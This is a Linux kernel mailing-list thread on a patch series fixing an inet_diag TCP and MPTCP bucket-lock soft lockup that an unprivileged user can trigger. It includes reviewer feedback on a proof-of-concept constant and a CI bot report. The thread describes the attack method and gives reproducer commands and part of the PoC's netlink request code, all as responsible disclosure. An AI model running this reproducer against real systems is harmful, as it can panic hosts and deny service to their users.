> none reaches the reply fill path, skb backpressure does not terminate the
> walk early. On the unfixed kernel this triggers a watchdog soft lockup
> and then a panic in inet_diag_bc_sk().
>
> The earlier batching fix direction was still too narrow: it only counted
> sockets that survived the cheap prefilters and reached the expensive dump
> path. An attacker can therefore populate one bucket with many sockets or
> listeners that fail the netns/family/port or MPTCP-specific prefilters,
> causing the same bucket lock to be scanned far past the 16-entry batch
> threshold before control is returned.
>
> The same root cause also exists in MPTCP listener dumping. The
> MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
> which runs inet_diag_bc_sk() before filling the netlink reply, while the
> listener bucket lock is still held.
>
> We additionally profiled the MPTCP-specific path locally with a
> separate debugging artifact. Because struct inet_diag_req_v2 stores
> sdiag_protocol in an __u8 field, that request must keep
> sdiag_protocol = IPPROTO_TCP and pass INET_DIAG_REQ_PROTOCOL =
> u32(IPPROTO_MPTCP), otherwise 262 truncates back to TCP and never reaches
> the MPTCP handler. With that corrected request, a 1-group run with 32768
> listeners and 16380 NOP bytecode steps took 2082.608 ms on the fixed
> kernel versus 8.601 ms on the unfixed kernel, and kprobe profiling showed
> inet_diag_bc_sk() executing 32768 times on the fixed kernel but only 256
> times on the unfixed one. That 256-count is not a missed path: the
> unfixed mptcp_diag_dump_listeners() reuses one counter both as the
> in-bucket index and as the resume cursor, so each dump restart advances
> in a triangular skip pattern and stops after approximately sqrt(2N)
> bytecode executions. The inline reproducer and decoded crash log below
> cover the TCP panic path; the MPTCP results above are included only as
> supporting local validation for the second patch.
>
> This series fixes both sites by keeping bucket-locked sections limited to
> raw socket collection and lifetime pinning, and moving all filtering,
> inet_diag_bc_sk(), and socket filling work out of the locked regions so
> the batch limit applies to raw bucket traversal itself. For TCP listener,
> bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
> keep a referenced dump cursor so the next batch resumes after the
> previous socket instead of rescanning the bucket head under the same
> lock.
>
> For the TCP patch, the underlying root cause predates modern git history.
> The Fixes tag therefore uses commit 1da177e4c3f4
> ("Linux-2.6.12-rc2") as the earliest git-import boundary that still
> anchors the pre-git bug in the current repository, rather than
> incorrectly attributing it to a later helper or refactor commit. The
> MPTCP patch uses the real introduction boundary, commit 4fa39b701ce9
> ("mptcp: listen diag dump support").
>
> Reproducer:
>
> gcc -O2 -static -o poc poc.c
> unshare -Urn ./poc
>
> For the reproduced panic log below, we enabled
> softlockup panic sysctls and ran the local helper that executes:
>
> ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
>
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
>
> ------BEGIN poc.c------
> #define _GNU_SOURCE
>
> #
[...]
> static size_t build_request(void *buf, bool listen_mode, bool with_attack,
> unsigned int nops)
> {
> size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
> struct nlmsghdr *nlh = buf;
> struct inet_diag_req_v2 *req;
>
> memset(buf, 0, msg_len);
> nlh->nlmsg_len = msg_len;
> nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
> nlh->nlmsg_seq = 1;
>
> req = NLMSG_DATA(nlh);
> req->sdiag_family = AF_INET;
> req->sdiag_protocol = IPPROTO_TCP;
> req->idiag_states = listen_mode ? TCPF_LISTEN : (1U << 12);
1U << 12
12 is TCP_NEW_SYN_RECV. Is TCP_BOUND_INACTIVE what you expected ?
> req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
> req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
On Wed, Jul 29, 2026 at 9:55 PM Jiayuan Chen <jiayuan.chen@linux.dev> wrote:
>
>
> On 7/29/26 7:28 PM, Zihan Xi wrote:
> > Hi Linux kernel maintainers,
> >
> > We found and validated a issue in net/ipv4/tcp_diag.c and
> > net/mptcp/mptcp_diag.c. The bug is reachable by a
> > non-root user via user and net namespace.
> > We've tested it, and it should not affect any other functionality.
> >
> > We will provide detailed information about the bug
> > in this email, along with a PoC to trigger it.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > inet_diag TCP dumps currently execute attacker-controlled
> > INET_DIAG_REQ_BYTECODE programs while still holding the listener,
> > bind, or ehash bucket locks in tcp_diag_dump(). If the bucket is
> > heavily populated and the bytecode is a large reject-all filter, the
> > dump path can spend an unbounded amount of time under the same bucket
> > lock while walking attacker-arranged sockets.
> >
> > The reproduced listener case places 131072 SO_REUSEPORT listeners onto
> > one colliding listener bucket and then issues a NETLINK_SOCK_DIAG dump
> > request with 16380 INET_DIAG_BC_NOP instructions followed by a failing
> > INET_DIAG_BC_D_EQ test. Because every socket runs the full bytecode and
> > none reaches the reply fill path, skb backpressure does not terminate the
> > walk early. On the unfixed kernel this triggers a watchdog soft lockup
> > and then a panic in inet_diag_bc_sk().
> >
> > The earlier batching fix direction was still too narrow: it only counted
> > sockets that survived the cheap prefilters and reached the expensive dump
> > path. An attacker can therefore populate one bucket with many sockets or
> > listeners that fail the netns/family/port or MPTCP-specific prefilters,
> > causing the same bucket lock to be scanned far past the 16-entry batch
> > threshold before control is returned.
> >
> > The same root cause also exists in MPTCP listener dumping. The
> > MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
> > which runs inet_diag_bc_sk() before filling the netlink reply, while the
> > listener bucket lock is still held.
> >
> > We additionally profiled the MPTCP-specific path locally with a
> > separate debugging artifact. Because struct inet_diag_req_v2 stores
> > sdiag_protocol in an __u8 field, that request must keep
> > sdiag_protocol = IPPROTO_TCP and pass INET_DIAG_REQ_PROTOCOL =
> > u32(IPPROTO_MPTCP), otherwise 262 truncates back to TCP and never reaches
> > the MPTCP handler. With that corrected request, a 1-group run with 32768
> > listeners and 16380 NOP bytecode steps took 2082.608 ms on the fixed
> > kernel versus 8.601 ms on the unfixed kernel, and kprobe profiling showed
> > inet_diag_bc_sk() executing 32768 times on the fixed kernel but only 256
> > times on the unfixed one. That 256-count is not a missed path: the
> > unfixed mptcp_diag_dump_listeners() reuses one counter both as the
> > in-bucket index and as the resume cursor, so each dump restart advances
> > in a triangular skip pattern and stops after approximately sqrt(2N)
> > bytecode executions. The inline reproducer and decoded crash log below
> > cover the TCP panic path; the MPTCP results above are included only as
> > supporting local validation for the second patch.
> >
> > This series fixes both sites by keeping bucket-locked sections limited to
> > raw socket collection and lifetime pinning, and moving all filtering,
> > inet_diag_bc_sk(), and socket filling work out of the locked regions so
> > the batch limit applies to raw bucket traversal itself. For TCP listener,
> > bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
> > keep a referenced dump cursor so the next batch resumes after the
> > previous socket instead of rescanning the bucket head under the same
> > lock.
> >
> > For the TCP patch, the underlying root cause predates modern git history.
> > The Fixes tag therefore uses commit 1da177e4c3f4
> > ("Linux-2.6.12-rc2") as the earliest git-import boundary that still
> > anchors the pre-git bug in the current repository, rather than
> > incorrectly attributing it to a later helper or refactor commit. The
> > MPTCP patch uses the real introduction boundary, commit 4fa39b701ce9
> > ("mptcp: listen diag dump support").
> >
> > Reproducer:
> >
> > gcc -O2 -static -o poc poc.c
> > unshare -Urn ./poc
> >
> > For the reproduced panic log below, we enabled
> > softlockup panic sysctls and ran the local helper that executes:
> >
> > ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
> >
> > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> >
> > ------BEGIN poc.c------
> > #define _GNU_SOURCE
> >
> > #
> [...]
> > static size_t build_request(void *buf, bool listen_mode, bool with_attack,
> > unsigned int nops)
> > {
> > size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
> > struct nlmsghdr *nlh = buf;
> > struct inet_diag_req_v2 *req;
> >
> > memset(buf, 0, msg_len);
> > nlh->nlmsg_len = msg_len;
> > nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
> > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
> > nlh->nlmsg_seq = 1;
> >
> > req = NLMSG_DATA(nlh);
> > req->sdiag_family = AF_INET;
> > req->sdiag_protocol = IPPROTO_TCP;
> > req->idiag_states = listen_mode ? TCPF_LISTEN : (1U << 12);
>
> 1U << 12
>
> 12 is TCP_NEW_SYN_RECV. Is TCP_BOUND_INACTIVE what you expected ?
>
Hi,
You're right, `1U << 12` is `TCP_NEW_SYN_RECV`, not
`TCP_BOUND_INACTIVE`.
The inline crash reproducer only exercised the `--listen` path, so this did
not affect the reproduced panic there, but the non-listener branch in the
PoC is indeed wrong.
The intended state there is:
req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
I'll include this PoC/cover-letter fix in the next reroll.
Thanks for catching this.
Best regards,
Zihan
>
> > req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
> > req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
Hi Zihan,
Thank you for your modifications, that's great!
Our CI did some validations and here is its report:
- KVM Validation: normal (except selftest_mptcp_join): Unstable: 1 failed test(s): selftest_simult_flows ⚠️
- KVM Validation: normal (only selftest_mptcp_join): Success! ✅
- KVM Validation: debug (except selftest_mptcp_join): Success! ✅
- KVM Validation: debug (only selftest_mptcp_join): Success! ✅
- KVM Validation: btf-normal (only bpftest_all): Success! ✅
- KVM Validation: btf-debug (only bpftest_all): Success! ✅
- Task: https://github.com/multipath-tcp/mptcp_net-next/actions/runs/30448662026
Initiator: Patchew Applier
Commits: https://github.com/multipath-tcp/mptcp_net-next/commits/b7b5896ea9a5
Patchwork: https://patchwork.kernel.org/project/mptcp/list/?series=1136597
If there are some issues, you can reproduce them using the same environment as
the one used by the CI thanks to a docker image, e.g.:
$ cd [kernel source code]
$ docker run -v "${PWD}:${PWD}:rw" -w "${PWD}" --privileged --rm -it \
--pull always mptcp/mptcp-upstream-virtme-docker:latest \
auto-normal
For more details:
https://github.com/multipath-tcp/mptcp-upstream-virtme-docker
Please note that despite all the efforts that have been already done to have a
stable tests suite when executed on a public CI like here, it is possible some
reported issues are not due to your modifications. Still, do not hesitate to
help us improve that ;-)
Cheers,
MPTCP GH Action bot
Bot operated by Matthieu Baerts (NGI0 Core)
© 2016 - 2026 Red Hat, Inc.